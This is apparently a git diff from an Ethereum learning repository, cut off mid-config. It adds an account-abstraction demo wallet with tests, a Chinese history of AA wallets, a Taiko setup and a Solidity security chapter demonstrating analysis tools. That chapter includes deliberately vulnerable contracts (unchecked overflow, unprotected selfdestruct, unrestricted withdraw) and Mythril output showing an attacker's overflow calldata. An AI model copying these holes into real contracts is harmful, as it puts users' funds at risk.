+        return this.paymasterAddr;
+    }
+}
+
+module.exports = {
+    PaymasterAPINaive
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/src/utils/create2.js b/basic/49-Account-Abstraction/demowallet/src/utils/create2.js
new file mode 100644
index 000000000..021808868
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/src/utils/create2.js
@@ -0,0 +1,22 @@
+const {ethers} = require("ethers");
+
+const HEADER = 0xff;
+
+function computeAddress(deployer, initCode, salt) {
+    salt = ethers.utils.hexZeroPad(salt, 32);
+
+    const preimage = ethers.utils.hexConcat([
+        HEADER,
+        deployer,
+        salt,
+        ethers.utils.keccak256(initCode)
+    ]);
+
+    const predictedAddr = "0x" + ethers.utils.keccak256(preimage).slice(-40);
+    return predictedAddr;
+
+}
+
+module.exports = {
+    computeAddress
+}
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/demowallet/test/Test.js b/basic/49-Account-Abstraction/demowallet/test/Test.js
new file mode 100644
index 000000000..f356f890c
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/test/Test.js
@@ -0,0 +1,188 @@
+const { time, loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
+const { anyValue } = require('@nomicfoundation/hardhat-chai-matchers/withArgs');
+const { expect } = require('chai');
+const { ethers } = require('hardhat');
+const { ERC4337EthersProvider, ERC4337EthersSigner, HttpRpcClient } = require('@account-abstraction/sdk');
+const { BaseAccountAPI } = require('@account-abstraction/sdk/dist/src/BaseAccountAPI');
+const { EntryPoint__factory } = require('@account-abstraction/contracts');
+const { BigNumber } = require('ethers');
+const abi = require('../artifacts/contracts/DemoAccount.sol/DemoAccount.json').abi;
+
+describe('ContractUnitTest', function () {
+  // We define a fixture to reuse the same setup in every test.
+  // We use loadFixture to run this setup once, snapshot that state,
+  // and reset Hardhat Network to that snapshot in every test.
+  async function deployContract() {
+    // Contracts are deployed using the first signer/account by default
+    const [owner, owner2, entryPointSigner] = await ethers.getSigners();
+
+    const DemoAccount_factory = await ethers.getContractFactory('DemoAccount');
+    const demoAccount = await DemoAccount_factory.deploy(entryPointSigner.getAddress(), 2, owner.getAddress(), [
+      owner.getAddress(),
+      owner2.getAddress(),
+    ]);
+    await demoAccount.waitForDeployment();
+
+    await (await demoAccount.connect(owner).setSigner(owner.address, true)).wait();
+    await (await demoAccount.connect(owner).setSigner(owner2.address, true)).wait();
+    await (await demoAccount.connect(owner).changeThreshold(2)).wait();
+    return { demoAccount, entryPointSigner, owner, owner2 };
+  }
+
+  it('should validate user op successfully ', async function () {
+    const { demoAccount, entryPointSigner, owner, owner2 } = await loadFixture(deployContract);
+    var aaProvider = await getAAProvider(entryPointSigner.address, demoAccount, owner, owner2);
+    //Convert transaction to userop
+    const tx = await demoAccount.populateTransaction.changeThreshold(1);
+    var userOperation = await aaProvider.smartAccountAPI.createSignedUserOp({
+      target: tx.to ?? '',
+      data: tx.data?.toString() ?? '',
+      value: tx.value,
+      gasLimit: tx.gasLimit,
+    });
+    userOperation = await ethers.utils.resolveProperties(userOperation);
+    //Validate userop
+    const requestId = aaProvider.smartAccountAPI.getUserOpHash(userOperation);
+    var receipt = await (
+      await demoAccount.connect(entryPointSigner).validateUserOp(userOperation, requestId, ethers.constants.AddressZero, 0)
+    ).wait();
+    // console.log(receipt);
+  });
+
+  it('should run account business logics ', async function () {
+    const { demoAccount, entryPointSigner, owner, owner2 } = await loadFixture(deployContract);
+    const calldata = await demoAccount.interface.encodeFunctionData('changeThreshold', [3]);
+    await (await demoAccount.connect(entryPointSigner).execute(demoAccount.address, 0, calldata, 0)).wait();
+    const threshold = await demoAccount.threshold();
+    expect(threshold).to.be.equal(3);
+  });
+});
+
+describe('Test contract from entrypoint', function () {
+  async function deployContract() {
+    // Contracts are deployed using the first signer/account by default
+    const [owner, owner2, bundler] = await ethers.getSigners();
+
+    //Deploy EntryPoint. Use our version of entrypoint, to better debug.
+    const EntryPoint__factory = await ethers.getContractFactory('EntryPointDbg');
+    const entryPoint = await EntryPoint__factory.deploy();
+    await entryPoint.waitForDeployment();
+    console.log('entry point deployed to ', entryPoint.address);
+    //Deploy DemoAccount
+    const DemoAccount_factory = await ethers.getContractFactory('DemoAccount');
+    const demoAccount = await DemoAccount_factory.deploy(entryPoint.address, 2, owner.getAddress());
+    await demoAccount.waitForDeployment();
+
+    await (await demoAccount.connect(owner).setSigner(owner.address, true)).wait();
+    await (await demoAccount.connect(owner).setSigner(owner2.address, true)).wait();
+    await (await demoAccount.connect(owner).changeThreshold(2)).wait();
+
+    //Fund DemoAccount
+    await entryPoint.connect(owner).depositTo(demoAccount.address, { value: ethers.utils.parseEther('1.0') });
+    console.log(`${demoAccount.address} now has ${await entryPoint.balanceOf(demoAccount.address)}`);
+    return { demoAccount, entryPoint, owner, owner2, bundler };
+  }
+  it('should simulateValidation successfully from entrypoint', async function () {
+    const { demoAccount, entryPoint, owner, owner2 } = await loadFixture(deployContract);
+    const aaProvider = await getAAProvider(entryPoint.address, demoAccount, owner, owner2);
+    //get UserOperation
+    const tx = await demoAccount.populateTransaction.changeThreshold(2);
+    var userOperation = await aaProvider.smartAccountAPI.createSignedUserOp({
+      target: tx.to ?? '',
+      data: tx.data?.toString() ?? '',
+      value: tx.value,
+      gasLimit: tx.gasLimit,
+    });
+    userOperation = await ethers.utils.resolveProperties(userOperation);
+    //simulateValidation
+    await expect(entryPoint.simulateValidation(userOperation)).to.be.revertedWithCustomError(entryPoint, 'ValidationResult');
+  });
+
+  it('should handleOps successfully from entrypoint', async function () {
+    const { demoAccount, entryPoint, owner, owner2, bundler } = await loadFixture(deployContract);
+    const aaProvider = await getAAProvider(entryPoint.address, demoAccount, owner, owner2);
+    //get UserOperation
+    const tx = await demoAccount.populateTransaction.changeThreshold(2);
+    var userOperation = await aaProvider.smartAccountAPI.createSignedUserOp({
+      target: tx.to ?? '',
+      data: tx.data?.toString() ?? '',
+      value: tx.value,
+      gasLimit: tx.gasLimit,
+    });
+    userOperation = await ethers.utils.resolveProperties(userOperation);
+    //handleOps
+    await (await entryPoint.handleOps([userOperation], bundler.address)).wait();
+    //replay is not allowed
+    await expect(entryPoint.handleOps([userOperation], bundler.address)).to.be.revertedWithCustomError(entryPoint, 'FailedOp');
+    //bad signature is not allowed
+    userOperation.nonce = BigNumber.from(1);
+    await expect(entryPoint.handleOps([userOperation], bundler.address)).to.be.revertedWithCustomError(entryPoint, 'FailedOp');
+  });
+});
+
+class MultiSignerAccountAPI extends BaseAccountAPI {
+  constructor(params) {
+    super(params);
+    this.signers = params.signers;
+  }
+
+  async getAccountInitCode() {
+    //对应initCode字段
+    return '0x';
+  }
+  async getNonce() {
+    //对应nonce字段
+    const senderAddr = await this.getAccountAddress();
+    const accountContract = new ethers.Contract(senderAddr, abi);
+    const originalProvider = this.provider;
+    const nonce = await accountContract.connect(originalProvider).nonce();
+    return nonce;
+  }
+  async encodeExecute(target, value, data) {
+    // const senderAddr = await this.getAccountAddress();
+    return data;
+  }
+  async signUserOpHash(userOpHash) {
+    //对应signature字段。你可以使用BLS等各式各样的签名手段，只要链上可以验证即可
+    var signatures = [];
+    const userOpHashBytes = ethers.utils.arrayify(userOpHash);
+    for (var signer of this.signers) {
+      const addrStr = signer.address.substring(2); //remove 0x
+      const sigStr = (await signer.signMessage(userOpHashBytes)).substring(2); //remove 0x
+      signatures.push(addrStr); //remove 0x
+      signatures.push(sigStr); //remove 0x
+    }
+    return '0x' + signatures.join('');
+  }
+}
+
+async function getAAProvider(entryPointAddress, accountContract, originalSigner, originalSigner2) {
+  const originalProvider = ethers.provider;
+  const clientConfig = {
+    entryPointAddress: entryPointAddress,
+    bundlerUrl: 'http://localhost:3000/rpc',
+    walletAddres: accountContract.address,
+  };
+
+  const chainId = await ethers.provider.getNetwork().then((net) => net.chainId);
+  const httpRpcClient = new HttpRpcClient(clientConfig.bundlerUrl, clientConfig.entryPointAddress, chainId);
+  const entryPoint = EntryPoint__factory.connect(clientConfig.entryPointAddress, originalSigner);
+
+  const smartAccountAPI = new MultiSignerAccountAPI({
+    provider: originalProvider,
+    entryPointAddress: clientConfig.entryPointAddress,
+    accountAddress: clientConfig.walletAddres,
+    signers: [originalSigner, originalSigner2],
+  });
+
+  const aaProvider = await new ERC4337EthersProvider(
+    chainId,
+    clientConfig,
+    originalSigner,
+    originalProvider,
+    httpRpcClient,
+    entryPoint,
+    smartAccountAPI
+  );
+  return aaProvider;
+}
diff --git a/basic/49-Account-Abstraction/demowallet/unhandled.js b/basic/49-Account-Abstraction/demowallet/unhandled.js
new file mode 100644
index 000000000..9f83b1c35
--- /dev/null
+++ b/basic/49-Account-Abstraction/demowallet/unhandled.js
@@ -0,0 +1,19 @@
+
+
+async function main() {
+        const promise = new Promise((resolve, reject) => {
+            setTimeout(() => {
+            //   resolve();
+               reject(new Error('Expected rejection.'));
+            }, 2000);
+          });
+    
+          promise.then((val, err)=>{
+            console.log(err);
+          })
+
+          return 10;
+}
+
+p = main()
+p.then();
\ No newline at end of file
diff --git a/basic/49-Account-Abstraction/development.md b/basic/49-Account-Abstraction/development.md
new file mode 100644
index 000000000..53bbb1720
--- /dev/null
+++ b/basic/49-Account-Abstraction/development.md
@@ -0,0 +1,90 @@
+Ethereum AA（账户抽象）钱包的历史梳理，从技术提案、生态实践到未来方向分阶段展开：
+
+### **阶段一：早期探索（2015-2020）**
+
+#### **背景与问题**
+
+- **EOA 的限制**：以太坊初始设计中，只有外部账户（EOA，由私钥控制）能主动发起交易，合约账户（CA）需依赖 EOA 触发，功能受限。
+- **用户痛点**：EOA 依赖私钥管理、仅支持 ECDSA 签名、无法批量操作或代付 Gas。
+
+#### **关键提案**
+
+1. **EIP-86（2017）**
+   - 首次提出账户抽象概念，允许合约作为交易发起者，但因共识层改动复杂被搁置。
+2. **EIP-2938（2020）**
+   - 定义新的交易类型（`AA_TX_TYPE`），允许合约账户主动发起交易，需修改共识层，进展缓慢。
+
+#### **实践尝试**
+
+- **元交易（Meta Transaction）**：通过中继者（Relayer）代付 Gas，用户用签名授权操作（如 Gas Station Network）。
+- **局限性**：依赖中心化中继者，无法完全实现账户抽象。
+
+### **阶段二：协议层突破（2021-2023）**
+
+#### **核心提案**
+
+1. **EIP-3074（2021）**
+   - 允许 EOA 将权限临时委托给智能合约（通过 `AUTH` 和 `AUTHCALL` 操作码），实现批量交易和 Gas 代付。
+   - **问题**：安全隐患（恶意合约可能盗取资金），最终被 EIP-7702 取代。
+2. **EIP-4337（2021）**
+   - **免共识层升级的账户抽象方案**，引入 `UserOperation` 对象和 Bundlers（交易打包节点），允许合约账户自主管理交易逻辑。
+   - **创新点**：独立内存池、Paymasters（代付 Gas）、签名算法灵活化。
+
+#### **AA 钱包落地**
+
+- **Safe{Wallet}（原 Gnosis Safe）**：基于多签的智能合约钱包，支持权限分级和批量交易。
+- **Argent**：社交恢复钱包，用户可通过守护人（Guardian）重置私钥。
+- **Braavos（StarkNet）**：首个 L2 原生 AA 钱包，支持签名算法混合（如 ECDSA + 手机生物识别）。
+
+### **阶段三：生态爆发与优化（2023-2024）**
+
+#### **技术演进**
+
+1. **EIP-7702（2024）**
+   - 结合 EIP-3074 和 4337 的优点，允许 EOA **单次交易内动态升级为合约账户**，降低 Gas 成本并提升兼容性。
+2. **ERC-4337 标准化**
+   - 定义 AA 钱包的通用接口，推动 Bundler、Paymaster 等组件的去中心化。
+
+#### **生态扩展**
+
+- **L2 集成**：Optimism、Base、zkSync 等链原生支持 AA，Gas 成本降低 90% 以上。
+- **应用场景**：
+  - **Web3 游戏**：玩家无需管理 Gas，通过会话密钥（Session Key）自动执行操作。
+  - **企业财务**：多签 + 审计流 + 自动化付款（如 Safe{Wallet} 的模块化策略）。
+- **钱包竞争**：
+  - **智能钱包**：Ambire、Coinbase Smart Wallet 支持免助记词和代付 Gas。
+  - **MPC 钱包**：ZenGo、Fireblocks 结合 MPC 与 AA，增强私钥安全性。
+
+### **阶段四：未来方向（2024+）**
+
+#### **技术趋势**
+
+1. **协议层深度集成**
+   - EIP-7702 纳入以太坊 Pectra 升级，推动 AA 成为默认账户模式。
+2. **签名算法多样化**
+   - 支持 BLS 聚合签名、抗量子算法（如 STARKs），提升安全性和效率。
+3. **无感化体验**
+   - 通过 ERC-7579 等标准，实现跨链 AA 钱包的自动适配和 Gas 优化。
+
+#### **挑战与解决方案**
+
+- **安全性**：需防范临时代码注入攻击（EIP-7702 的沙盒化执行是关键）。
+- **教育成本**：用户需理解智能账户与传统 EOA 的差异，钱包需简化交互界面。
+- **去中心化**：Bundler 和 Paymaster 网络的抗审查性与稳定性仍需优化。
+
+### **关键项目与链接**
+
+1. **提案文档**
+   - [EIP-4337: Account Abstraction via Entry Point Contract](https://eips.ethereum.org/EIPS/eip-4337)
+   - [EIP-7702: Dynamic Account Conversion](https://github.com/ethereum/EIPs/pull/7702)
+2. **AA 钱包案例**
+   - [Safe{Wallet}](https://safe.global/)
+   - [Argent](https://www.argent.xyz/)
+   - [Braavos](https://braavos.app/)
+3. **生态分析**
+   - [以太坊账户抽象现状报告](https://ethereum.org/en/roadmap/account-abstraction/)
+   - [Vitalik 谈 AA 未来](https://vitalik.eth.limo/general/2023/01/20/account_abstraction.html)
+
+Ethereum AA 钱包的演进是从“外挂式解决方案”（如元交易）到“协议层原生支持”的过程，核心目标是**让智能合约账户获得 EOA 的主动能力**，同时保留可编程性。未来，随着 EIP-7702 的落地和 L2 的普及，AA 钱包有望成为 Web3 用户的标准入口，彻底改变私钥管理和链上交互的体验。
+
+### [7702介绍](./7702.md)
diff --git a/basic/50-solidity-security/GraphContract.sol b/basic/50-solidity-security/GraphContract.sol
new file mode 100644
index 000000000..d4f1fa6a7
--- /dev/null
+++ b/basic/50-solidity-security/GraphContract.sol
@@ -0,0 +1,19 @@
+contract GraphContract {
+  uint balance;
+
+  function GraphContract() {
+    Mint(1000000);
+  }
+
+  function Mint(uint amount) internal {
+    balance = amount;
+  }
+
+  function Withdraw() {
+    msg.sender.send(balance);
+  }
+
+  function GetBalance() constant returns(uint) {
+    return balance;
+  }
+}
diff --git a/basic/50-solidity-security/Overflow_Add.sol b/basic/50-solidity-security/Overflow_Add.sol
new file mode 100644
index 000000000..c98caa8e2
--- /dev/null
+++ b/basic/50-solidity-security/Overflow_Add.sol
@@ -0,0 +1,8 @@
+pragma solidity 0.4.25;
+contract Overflow_Add {
+    uint public balance = 1;
+
+    function add(uint256 deposit) public {
+        balance += deposit;
+    }
+}
diff --git a/basic/50-solidity-security/README.md b/basic/50-solidity-security/README.md
new file mode 100644
index 000000000..9b953f485
--- /dev/null
+++ b/basic/50-solidity-security/README.md
@@ -0,0 +1,237 @@
+# 简介
+
+区块链作为对等网络中的一种分布式账本技术，集成了密码学、共识机制、智能合约等多种技术，提供一种新型信任体系构建方法。智能合约具有公开透明、实时更新、准确执行等显著特点，在区块链中为信息存储、交易执行和资产管理等功能的实现提供了更安全、高效、可信的方式。但是，智能合约本身仍然存在安全问题，影响了区块链技术的进一步推广使用。  
+本章节介绍几种安全分析工具, 帮忙开发者在开发 solidity 合约时, 及时发现并检测其中的漏洞
+
+## Mythril
+
+Mythril 是一个以太坊官方推荐的智能合约安全分析工具，使用符合执行来检测智能合约中的各种安全漏洞，在 Remix、Truffle 等 IDE 里都有集成。
+其包含的安全分析模型如下,具体可参考 [链接](https://learnblockchain.cn/article/1283)  
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/50-solidity-security/securityModule.png?raw=true" /></center>
+
+- 安装 ( docker 方式 )
+
+```shell
+docker pull mythril/myth
+```
+
+- 进行检查
+
+```shell
+docker run -v ${PWD}:/contract mythril/myth analyze  /contract/Overflow_Add.sol --solv 0.4.25
+```
+
+之后可以得到如下输出
+
+```shell
+❯ docker run -v ${PWD}:/contract mythril/myth analyze  /contract/Overflow_Add.sol --solv 0.4.25
+==== Integer Arithmetic Bugs ====
+SWC ID: 101
+Severity: High
+Contract: Overflow_Add
+Function name: fallback
+PC address: 143
+Estimated Gas Usage: 5954 - 26049
+The arithmetic operator can overflow.
+It is possible to cause an integer overflow or underflow in the arithmetic operation.
+--------------------
+In file: /contract/Overflow_Add.sol:6
+
+balance += deposit
+
+--------------------
+Initial State:
+
+Account: [CREATOR], balance: 0x1, nonce:0, storage:{}
+Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
+Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}
+
+Transaction Sequence:
+
+Caller: [CREATOR], calldata: , value: 0x0
+Caller: [ATTACKER], function: add(uint256), txdata: 0x1003e2d2ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, value: 0x0
+```
+
+## Oyente
+
+这个工具比较旧了, 目前使用的 solidity 编译器版本为 0.4.21, 但作为一个安全工具, 我们还是可以去了解下如何使用它
+
+- 安装 && 启动
+
+```shell
+docker pull luongnguyen/oyente && docker run -i -t luongnguyen/oyente
+```
+
+- 执行测试
+
+```shell
+cd /oyente/oyente && python oyente.py -s greeter.sol
+```
+
+## Slither
+
+Slither 是一个用 Python 3 编写的智能合约静态分析框架，提供如下功能：
+
+1. 自动化漏洞检测。提供超 30 多项的漏洞检查模型，模型列表详见: https://github.com/crytic/slither#detectors
+
+2. 自动优化检测。Slither 可以检测编译器遗漏的代码优化项并给出优化建议
+
+3. 代码理解。Slither 能够绘制合约的继承拓扑图，合约方法调用关系图等，帮助开发者理解代码
+
+4. 辅助代码审查。用户可以通过 API 与 Slither 进行交互
+- 安装 ( docker 方式 )
+
+```shell
+docker pull trailofbits/eth-security-toolbox
+```
+
+- 登陆容器
+
+```shell
+docker run -it -v ${PWD}:/contracts trailofbits/eth-security-toolbox
+```
+
+- 进行检查
+
+```shell
+cd /contracts
+slither Suicidal.sol --solc /usr/bin/solc-v0.5.13
+```
+
+输入结果如下
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/50-solidity-security/slither.png?raw=true" /></center>
+
+- [可选] 使用 [solc-select](https://github.com/crytic/solc-select) 切换/管理solidity(solc)版本 
+  
+  - 安装
+    
+    ```shell
+        pip3 install solc-select
+    ```
+  
+  - 安装需要的版本 & 使用需要的版本
+    
+    ```shell
+        solc-select install 0.8.17
+        solc-select use 0.8.17
+        solc --version
+    ```
+  
+  - 使用slither（无需版本声明）
+    
+    ```shell
+        cd /contracts
+        slither MyContract.sol
+    ```
+
+## MythX
+
+mythX 是一个付费工具, 支持命令行, vscode 插件等形式进行分析.  
+可参考 [官网](https://docs.mythx.io/) 操作指导进行操作.  
+进行正确配置后, 就可以进行 solidity 文件漏洞扫描了, 这里以 vscode 为例, 扫描结果如下.  
+总的来说, 毕竟是付费的, 体验还是很不错的 ^\_^
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/50-solidity-security/scanResult.png?raw=true" /></center>
+
+## Solgraph
+
+合约中会存在很多的方法, 特别是一些大型商业合约, 方法相互嵌套, 很容易令人迷惑. [SolGraph](https://github.com/raineorshine/solgraph) 就是用于展示合约方法之间相互关系的一个工具, 使用这个这个工具, 可以清晰的展示合约方法之间的调用关系.
+
+- 安装 solgraph
+
+```shell
+yarn global add solgraph
+```
+
+- 安装 graphviz ( 以 macos 为例 )
+
+```shell
+brew install graphviz
+```
+
+- 进行分析
+
+```shell
+solgraph GraphContract.sol > GraphContract.dot
+```
+
+- 转换分析结果为图片
+
+```shell
+dot -Tpng GraphContract.dot -o GraphContract.png
+```
+
+## [manticore](https://github.com/trailofbits/manticore)
+
+manticore 是基于**符号执行**方法的合约分析工具，它实际上也是通过断言，来判断是否满足某种属性。
+
+- 特点：
+1. 给定输入，搜索可能的状态。
+
+2. 自动生成输入信息。
+
+3. 检测执行失败或者崩溃的地方。
+
+4. 通过事件或者指令钩子，更精确的控制搜索路径。
+- 安装：
+
+```bash
+pip install "manticore[native]"
+```
+
+> 如果运行 manticore 报错，请复制最后一行的提示信息，在谷歌搜索。大概率是依赖包版本问题。
+
+> 注意：由于遍历或者搜索的效率其实比较慢，可能需要运行很久。
+
+运行后将会生成很多辅助分析的材料，如何分析请见该[项目文档](https://github.com/trailofbits/manticore/wiki/What's-in-the-workspace%3F)。除此之外，也可以**高度自定义，编写 python 代码，初始化合约状态，然后再检查不变量**。
+
+- 检测漏洞：
+
+类似于断言的方法，判断合约是否满足某个属性，详细操作间见[文档](https://manticore.readthedocs.io/en/latest/verifier.html)。
+
+## [scribble](https://github.com/ConsenSys/scribble)
+
+也是基于断言的审计工具，但是比较特殊的是，他可以很方便的扫描链上的合约，然后寻找漏洞。它自称是“基于属性的运行时验证工具”，我暂时还不清楚它使用的原理。感兴趣可以深入阅读[它的文档](https://docs.scribble.codes/)。
+
+## [Legions](https://github.com/ConsenSys/Legions)
+
+他主要是提供了语法糖，可以简化节点的查询工作，比如不用每次查询余额都要写一串的 web3。
+
+## [vscode-solidity-auditor](https://github.com/ConsenSys/vscode-solidity-auditor)
+
+这是一个 vscode 的插件，通过可视化的方式辅助分析合约。建议使用时换成它自定义的主题，可能显示效果会好一些。使用方法请看标题的官方网站，介绍的很清楚，也有动图演示。
+
+## [Aderyn](https://github.com/Cyfrin/aderyn)
+
+Aderyn是一个用 Rust 编写的开源 solidity 智能合约静态分析框架，可以快速检测潜在漏洞，生成分析报告，使安全审计人员有时间专注于更复杂的漏洞。
+
+Aderyn可以根据需要构建自定义检测器，具体参考[Detectors Quickstart](https://docs.cyfrin.io/aderyn-custom-detectors/detectors-quickstart)。
+
+- 安装：
+
+```bash
+cargo install aderyn
+```
+
+- 使用：
+
+```bash
+aderyn path/to/your/project
+```
+
+- 举例（Overflow_Add.sol）：
+
+```bash
+aderyn Overflow_Add.sol
+```
+
+分析报告见[report.md](report.md)
+
+## 参考链接
+
+- https://learnblockchain.cn/eth/dev/%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90.html
+- https://zhuanlan.zhihu.com/p/164693789
+- http://blog.hubwiz.com/2020/05/11/mythril-tutorial/
+- https://learnblockchain.cn/article/3834
diff --git a/basic/50-solidity-security/Suicidal.sol b/basic/50-solidity-security/Suicidal.sol
new file mode 100644
index 000000000..e19bda1b9
--- /dev/null
+++ b/basic/50-solidity-security/Suicidal.sol
@@ -0,0 +1,6 @@
+pragma solidity ^0.5.13;
+contract Suicidal{
+    function kill() public{
+        selfdestruct(msg.sender);
+    }
+}
diff --git a/basic/50-solidity-security/report.md b/basic/50-solidity-security/report.md
new file mode 100644
index 000000000..968e41856
--- /dev/null
+++ b/basic/50-solidity-security/report.md
@@ -0,0 +1,53 @@
+# Aderyn Analysis Report
+
+This report was generated by [Aderyn](https://github.com/Cyfrin/aderyn), a static analysis tool built by [Cyfrin](https://cyfrin.io), a blockchain security company. This report is not a substitute for manual audit or security review. It should not be relied upon for any purpose other than to assist in the identification of potential security vulnerabilities.
+# Table of Contents
+
+- [Summary](#summary)
+  - [Files Summary](#files-summary)
+  - [Files Details](#files-details)
+  - [Issue Summary](#issue-summary)
+- [Low Issues](#low-issues)
+  - [L-1: Inconsistency in declaring uint256/uint (or) int256/int variables within a contract](#l-1-inconsistency-in-declaring-uint256uint-or-int256int-variables-within-a-contract)
+
+
+# Summary
+
+## Files Summary
+
+| Key | Value |
+| --- | --- |
+| .sol Files | 1 |
+| Total nSLOC | 7 |
+
+
+## Files Details
+
+| Filepath | nSLOC |
+| --- | --- |
+| src/Overflow_Add.sol | 7 |
+| **Total** | **7** |
+
+
+## Issue Summary
+
+| Category | No. of Issues |
+| --- | --- |
+| High | 0 |
+| Low | 1 |
+
+
+# Low Issues
+
+## L-1: Inconsistency in declaring uint256/uint (or) int256/int variables within a contract
+
+Consider keeping the naming convention consistent in a given contract
+
+- Found in src/Overflow_Add.sol [Line: 2](Overflow_Add.sol#L2)
+
+	```solidity
+	contract Overflow_Add {
+	```
+
+
+
diff --git a/basic/51-taiko-layer2/.env.example b/basic/51-taiko-layer2/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/51-taiko-layer2/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/51-taiko-layer2/.gitignore b/basic/51-taiko-layer2/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/51-taiko-layer2/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/51-taiko-layer2/README.md b/basic/51-taiko-layer2/README.md
new file mode 100644
index 000000000..d1894e469
--- /dev/null
+++ b/basic/51-taiko-layer2/README.md
@@ -0,0 +1,22 @@
+# Taiko
+
+## bridge
+
+
+
+## Contract Deploy 
+```
+npx hardhat run --network taiko scripts/deploy.js 
+```
+## contract 
+```
+npx hardhat verify --network taiko <contract address> <space separated constructor parameters>
+
+```
+
+
+## Taiko Architecture
+
+
+## REFERENCE 
+- taiko doc:  https://taiko.xyz/docs
diff --git a/basic/51-taiko-layer2/contracts/ExampleContract.sol b/basic/51-taiko-layer2/contracts/ExampleContract.sol
new file mode 100644
index 000000000..3614d342b
--- /dev/null
+++ b/basic/51-taiko-layer2/contracts/ExampleContract.sol
@@ -0,0 +1,9 @@
+pragma solidity ^0.8.17;
+
+contract ExampleContract {
+    uint public exampleVariable;
+
+    constructor(uint _exampleParam) {
+        exampleVariable = _exampleParam;
+    }
+}
\ No newline at end of file
diff --git a/basic/51-taiko-layer2/contracts/ExampleContractFactory.sol b/basic/51-taiko-layer2/contracts/ExampleContractFactory.sol
new file mode 100644
index 000000000..0a412c587
--- /dev/null
+++ b/basic/51-taiko-layer2/contracts/ExampleContractFactory.sol
@@ -0,0 +1,37 @@
+pragma solidity ^0.8.17;
+
+import "./ExampleContract.sol";
+
+contract ExampleContractFactory {
+
+    event DeterministicContractDeployed(address contractAddress);
+
+    function deployDeterministically(
+        uint _exampleParam,
+        uint _salt
+    ) public returns (address) {
+        ExampleContract deterministicContract = new ExampleContract{salt: bytes32(_salt)}(_exampleParam);
+        address deterministicContractAddress = address(deterministicContract);
+
+        emit DeterministicContractDeployed(deterministicContractAddress);
+        return deterministicContractAddress;
+    }
+
+        function getAddress(
+        bytes memory bytecode,
+        uint _salt
+    ) public view returns (address) {
+        bytes32 hash = keccak256(
+            abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode))
+        );
+
+        // NOTE: cast last 20 bytes of hash to address
+        return address(uint160(uint(hash)));
+    }
+
+    function getBytecode(uint _exampleParam) public pure returns (bytes memory) {
+        bytes memory bytecode = type(ExampleContract).creationCode;
+
+        return abi.encodePacked(bytecode, abi.encode(_exampleParam));
+    }
+}
\ No newline at end of file
diff --git a/basic/51-taiko-layer2/contracts/SimpleToken.sol b/basic/51-taiko-layer2/contracts/SimpleToken.sol
new file mode 100644
index 000000000..9f165ef57
--- /dev/null
+++ b/basic/51-taiko-layer2/contracts/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts-0.8/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/51-taiko-layer2/hardhat.config.js b/basic/51-taiko-layer2/hardhat.config.js
new file mode 100644
index 000000000..6df2b57e5
--- /dev/null
+++ b/basic/51-taiko-layer2/hardhat.config.js
@@ -0,0 +1,109 @@
+require("@nomiclabs/hardhat-waffle");
+const fs = require("fs");
+require('dotenv').config()
+
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+ return process.env.PRIVATE_KEY;
+
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    "compilers": [
+      {
+        "version": "0.6.11",
+        "settings": {
+          "optimizer": {
+            "enabled": true,
+            "runs": 100
+          }
+        }
+      },
+      {
+        "version": "0.8.17",
+        "settings": {
+          "optimizer": {
+            "enabled": true,
+            "runs": 100
+          }
+        }
+      }
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: `https://rinkeby.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    goerli: {
+      url: `https://goerli.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    arbitrum: {
+      url: 'https://arb1.arbitrum.io/rpc',
+      accounts: [
+        mnemonic()
+      ],
+    },
+    arbitrum_rinkeby: {
+      url: 'https://rinkeby.arbitrum.io/rpc',
